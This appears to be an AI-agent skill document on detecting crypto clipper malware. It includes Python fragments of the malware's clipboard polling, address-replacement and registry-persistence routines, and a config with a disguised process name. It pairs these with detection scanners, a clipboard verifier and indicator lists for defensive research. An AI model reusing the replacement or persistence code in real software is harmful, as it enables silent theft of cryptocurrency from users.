Crypto Clipper Malware Detection

Crypto Clipper Malware Detection

Skill by ara.so — Devtools Skills collection.

⚠️ Security Notice

This project is MALWARE designed to steal cryptocurrency by hijacking clipboard contents. It is documented here ONLY for:

• Security research and malware analysis
• Building detection mechanisms
• Understanding attack patterns for defensive purposes
• Educational cybersecurity training

DO NOT deploy this for malicious purposes. Doing so is illegal and unethical.

What This Project Does

Crypto-Clipper is a cross-platform clipboard monitoring malware that:

1. Monitors clipboard continuously via polling (default 500ms intervals)
2. Detects cryptocurrency addresses using regex patterns for BTC, ETH, SOL, TRX, LTC, DOGE
3. Replaces detected addresses with attacker-controlled addresses from an address book
4. Validates formats including EIP-55 checksum, Base58, SegWit, Taproot
5. Logs activity to track successful replacements
6. Persistence mechanisms via Windows registry auto-start hooks
7. Process disguise by masquerading as legitimate system processes

Detection Patterns

Clipboard Monitoring Behavior

The malware uses pyperclip polling with background threads:

# Detection signature: High-frequency clipboard polling
import pyperclip
import time
import threading

def monitor_clipboard(interval_ms=500):
    """Malicious clipboard monitoring pattern"""
    last_content = ""
    while True:
        try:
            current = pyperclip.paste()
            if current != last_content:
                # Pattern: Immediate processing of clipboard changes
                process_clipboard_content(current)
                last_content = current
        except:
            pass
        time.sleep(interval_ms / 1000)

Detection indicators:

• Continuous pyperclip.paste() calls in tight loop
• Background thread dedicated to clipboard monitoring
• No user-initiated triggers for clipboard access

Cryptocurrency Address Regex Patterns

# Address detection patterns used by the malware
CRYPTO_PATTERNS = {
    "bitcoin": {
        "legacy": r"^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$",
        "segwit": r"^bc1q[a-z0-9]{38,58}$",
        "taproot": r"^bc1p[a-z0-9]{58}$"
    },
    "ethereum": {
        "evm": r"^0x[a-fA-F0-9]{40}$"
    },
    "solana": {
        "base58": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
    },
    "tron": {
        "base58": r"^T[1-9A-HJ-NP-Za-km-z]{33}$"
    },
    "litecoin": {
        "legacy": r"^[LM][a-km-zA-HJ-NP-Z1-9]{26,33}$",
        "segwit": r"^ltc1[a-z0-9]{39,59}$"
    },
    "dogecoin": {
        "legacy": r"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$"
    }
}

Address Replacement Engine

# Malicious clipboard injection pattern
def inject_malicious_address(detected_chain, original_address):
    """
    MALWARE BEHAVIOR: Replaces legitimate crypto addresses
    """
    address_book = load_address_book()
    
    # Find matching chain in attacker's address book
    for entry in address_book:
        if entry["chain"] == detected_chain:
            malicious_addr = entry["address"]
            
            # Silent clipboard replacement
            pyperclip.copy(malicious_addr)
            
            # Log the theft attempt
            log_replacement(original_address, malicious_addr, detected_chain)
            
            return True
    return False

Configuration Structure

The malware uses config.json for operational parameters:

{
    "build": {
        "target_os": "windows",
        "output_name": "clip_monitor.exe",
        "process_name": "rdpclip",
        "startup_method": "registry",
        "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
    },
    "chains": {
        "bitcoin": {
            "enabled": true,
            "prefix": ["1", "3", "bc1"]
        },
        "ethereum": {
            "enabled": true,
            "prefix": ["0x"]
        }
    },
    "address_book": [
        {
            "label": "Attacker BTC",
            "chain": "bitcoin",
            "address": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
        }
    ],
    "detection": {
        "sensitivity": "high",
        "min_address_length": 26,
        "max_address_length": 62,
        "clipboard_watch_interval_ms": 500
    }
}

Detection indicators:

• Address book with multiple crypto chains
• Registry persistence configuration
• Process name disguise settings
• Clipboard polling interval configuration

Persistence Mechanisms

Windows Registry Auto-Start

# Malware persistence via Windows registry
import winreg
import os

def install_persistence(exe_path, disguise_name="rdpclip"):
    """
    MALWARE BEHAVIOR: Registry-based persistence
    """
    reg_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
    
    try:
        key = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            reg_key,
            0,
            winreg.KEY_SET_VALUE
        )
        
        winreg.SetValueEx(
            key,
            disguise_name,
            0,
            winreg.REG_SZ,
            exe_path
        )
        
        winreg.CloseKey(key)
        return True
    except Exception as e:
        return False

Detection indicators:

• Unauthorized registry modifications in Run keys
• Process names mimicking system processes (rdpclip, svchost, etc.)
• Executable paths in unexpected locations

Building Defensive Tools

Address Validation Function

import re

def validate_crypto_address(address, chain):
    """
    Defensive: Validate crypto address format before use
    """
    patterns = {
        "bitcoin": r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$",
        "ethereum": r"^0x[a-fA-F0-9]{40}$",
        "solana": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
    }
    
    if chain not in patterns:
        return False
    
    return bool(re.match(patterns[chain], address))

Clipboard Monitoring Detection

import psutil
import time

def detect_clipboard_monitoring_processes():
    """
    Security tool: Identify processes with suspicious clipboard access
    """
    suspicious_indicators = []
    
    for proc in psutil.process_iter(['name', 'cmdline', 'num_threads']):
        try:
            # Check for pyperclip in command line
            cmdline = ' '.join(proc.info['cmdline'] or [])
            
            if 'pyperclip' in cmdline.lower():
                suspicious_indicators.append({
                    'pid': proc.pid,
                    'name': proc.info['name'],
                    'cmdline': cmdline,
                    'reason': 'Pyperclip usage detected'
                })
            
            # Check for disguised process names
            disguise_names = ['rdpclip', 'clipman', 'clip_monitor']
            if proc.info['name'].lower() in disguise_names:
                if not is_legitimate_system_process(proc):
                    suspicious_indicators.append({
                        'pid': proc.pid,
                        'name': proc.info['name'],
                        'reason': 'Disguised process name'
                    })
                    
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            continue
    
    return suspicious_indicators

Address Book Comparison Tool

import difflib

def detect_address_replacement(original, current):
    """
    Security tool: Detect if clipboard address was replaced
    
    Returns: (is_replaced, similarity_score, chain_type)
    """
    # Check if both are valid crypto addresses
    chains = ["bitcoin", "ethereum", "solana", "tron"]
    
    original_chain = None
    current_chain = None
    
    for chain in chains:
        if validate_crypto_address(original, chain):
            original_chain = chain
        if validate_crypto_address(current, chain):
            current_chain = chain
    
    # Both valid addresses but different chains = suspicious
    if original_chain and current_chain and original_chain != current_chain:
        return (True, 0.0, f"{original_chain} -> {current_chain}")
    
    # Same chain but different addresses
    if original_chain == current_chain and original != current:
        similarity = difflib.SequenceMatcher(None, original, current).ratio()
        return (True, similarity, original_chain)
    
    return (False, 1.0, None)

Malware Analysis Workflow

1. Static Analysis

import json
import os

def analyze_clipper_config(config_path):
    """
    Analyze clipper configuration for threat assessment
    """
    with open(config_path, 'r') as f:
        config = json.load(f)
    
    report = {
        "targeted_chains": [],
        "persistence_methods": [],
        "attacker_addresses": [],
        "disguise_techniques": [],
        "risk_level": "UNKNOWN"
    }
    
    # Extract targeted chains
    for chain, settings in config.get("chains", {}).items():
        if settings.get("enabled"):
            report["targeted_chains"].append(chain)
    
    # Extract attacker addresses
    for entry in config.get("address_book", []):
        report["attacker_addresses"].append({
            "chain": entry["chain"],
            "address": entry["address"],
            "label": entry.get("label", "")
        })
    
    # Extract persistence methods
    if config.get("build", {}).get("startup_method") == "registry":
        report["persistence_methods"].append("Windows Registry Run Key")
    
    # Extract disguise techniques
    process_name = config.get("build", {}).get("process_name", "")
    if process_name:
        report["disguise_techniques"].append(f"Process masquerading as '{process_name}'")
    
    # Risk assessment
    num_chains = len(report["targeted_chains"])
    num_addresses = len(report["attacker_addresses"])
    
    if num_chains >= 4 and num_addresses >= 4:
        report["risk_level"] = "CRITICAL"
    elif num_chains >= 2:
        report["risk_level"] = "HIGH"
    else:
        report["risk_level"] = "MEDIUM"
    
    return report

2. Dynamic Analysis (Sandboxed)

import subprocess
import json
from datetime import datetime

def sandbox_clipper_execution(clipper_path, duration_seconds=60):
    """
    Run clipper in monitored sandbox environment
    WARNING: Only run in isolated VM/container
    """
    log = {
        "start_time": datetime.now().isoformat(),
        "clipboard_access_count": 0,
        "registry_modifications": [],
        "network_connections": [],
        "file_operations": []
    }
    
    # Monitor with process tracking (pseudo-code - use actual sandbox)
    # This should run in a completely isolated environment
    
    return log

Common Detection Evasion Techniques

The malware employs several evasion strategies:

1. Process Name Disguise: Mimics legitimate Windows processes (rdpclip, svchost)
2. Low Polling Frequency: Configurable intervals to reduce CPU footprint
3. Silent Failures: Catches all exceptions to avoid crashes
4. Legitimate-Looking Paths: Uses system directories for deployment
5. No Network Activity: Purely local operation to avoid firewall alerts

Defensive Measures

User-Level Protection

import hashlib
import time

class ClipboardProtector:
    """
    User-level clipboard protection against hijacking
    """
    def __init__(self):
        self.last_hash = None
        self.verification_window_ms = 1000
    
    def protect_copy(self, text):
        """
        Copy with verification to detect replacement
        """
        import pyperclip
        
        # Copy to clipboard
        pyperclip.copy(text)
        time.sleep(0.1)  # Brief delay
        
        # Verify what's actually in clipboard
        actual = pyperclip.paste()
        
        if actual != text:
            raise SecurityException(
                f"Clipboard hijacking detected!\n"
                f"Expected: {text[:20]}...\n"
                f"Found: {actual[:20]}..."
            )
        
        # Store hash for periodic verification
        self.last_hash = hashlib.sha256(text.encode()).hexdigest()
        
        return True
    
    def verify_clipboard(self):
        """
        Periodic verification of clipboard contents
        """
        import pyperclip
        
        current = pyperclip.paste()
        current_hash = hashlib.sha256(current.encode()).hexdigest()
        
        if self.last_hash and current_hash != self.last_hash:
            return False  # Clipboard was modified
        
        return True

class SecurityException(Exception):
    pass

System-Level Detection

import os
import winreg

def scan_for_clipper_persistence():
    """
    Scan Windows registry for clipper persistence entries
    """
    suspicious_entries = []
    
    reg_locations = [
        (winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run"),
        (winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run"),
    ]
    
    for root_key, subkey_path in reg_locations:
        try:
            key = winreg.OpenKey(root_key, subkey_path, 0, winreg.KEY_READ)
            
            i = 0
            while True:
                try:
                    name, value, _ = winreg.EnumValue(key, i)
                    
                    # Check for suspicious patterns
                    suspicious_keywords = ['clip', 'monitor', 'rdpclip', 'clipman']
                    
                    if any(kw in name.lower() for kw in suspicious_keywords):
                        if not is_legitimate_path(value):
                            suspicious_entries.append({
                                'location': f"{root_key}\\{subkey_path}",
                                'name': name,
                                'path': value
                            })
                    
                    i += 1
                except OSError:
                    break
            
            winreg.CloseKey(key)
        except FileNotFoundError:
            continue
    
    return suspicious_entries

def is_legitimate_path(path):
    """Check if executable path is in legitimate system location"""
    system_paths = [
        os.environ.get('WINDIR', 'C:\\Windows'),
        os.path.join(os.environ.get('PROGRAMFILES', 'C:\\Program Files')),
        os.path.join(os.environ.get('PROGRAMFILES(X86)', 'C:\\Program Files (x86)'))
    ]
    
    for sys_path in system_paths:
        if path.lower().startswith(sys_path.lower()):
            return True
    
    return False

Indicators of Compromise (IOCs)

File System Indicators

IOC_FILE_PATTERNS = [
    "clip_monitor.exe",
    "rdpclip.exe (in non-system paths)",
    "config.json (with address_book entries)",
    "scan.bin (embedded runtime)",
    "*.log (with crypto address patterns)"
]

Network Indicators

# Most clippers are fully offline, but some variants may beacon
IOC_NETWORK_PATTERNS = [
    "HTTP POST with base64-encoded crypto addresses",
    "Connections to crypto validation APIs",
    "TLS connections with clipboard data in payload"
]

Behavioral Indicators

BEHAVIORAL_IOCS = {
    "clipboard_polling": "High-frequency pyperclip.paste() calls",
    "registry_modification": "Unauthorized Run key entries",
    "process_disguise": "Non-system process with system process name",
    "address_replacement": "Clipboard crypto address changes without user action",
    "silent_execution": "No visible UI but continuous background activity"
}

Responsible Disclosure

If you discover this malware active in the wild:

1. Do not engage with the malware directly
2. Document the configuration, addresses, and behavior
3. Report to relevant cryptocurrency exchanges to flag attacker addresses
4. Notify antivirus vendors with samples for signature updates
5. Alert affected users through appropriate channels

Conclusion

This skill provides the knowledge to detect and analyze cryptocurrency clipboard hijacking malware. Use this information exclusively for:

• Security research
• Building defensive tools
• Educating users about threats
• Improving detection mechanisms

Never deploy clipboard hijacking malware for malicious purposes.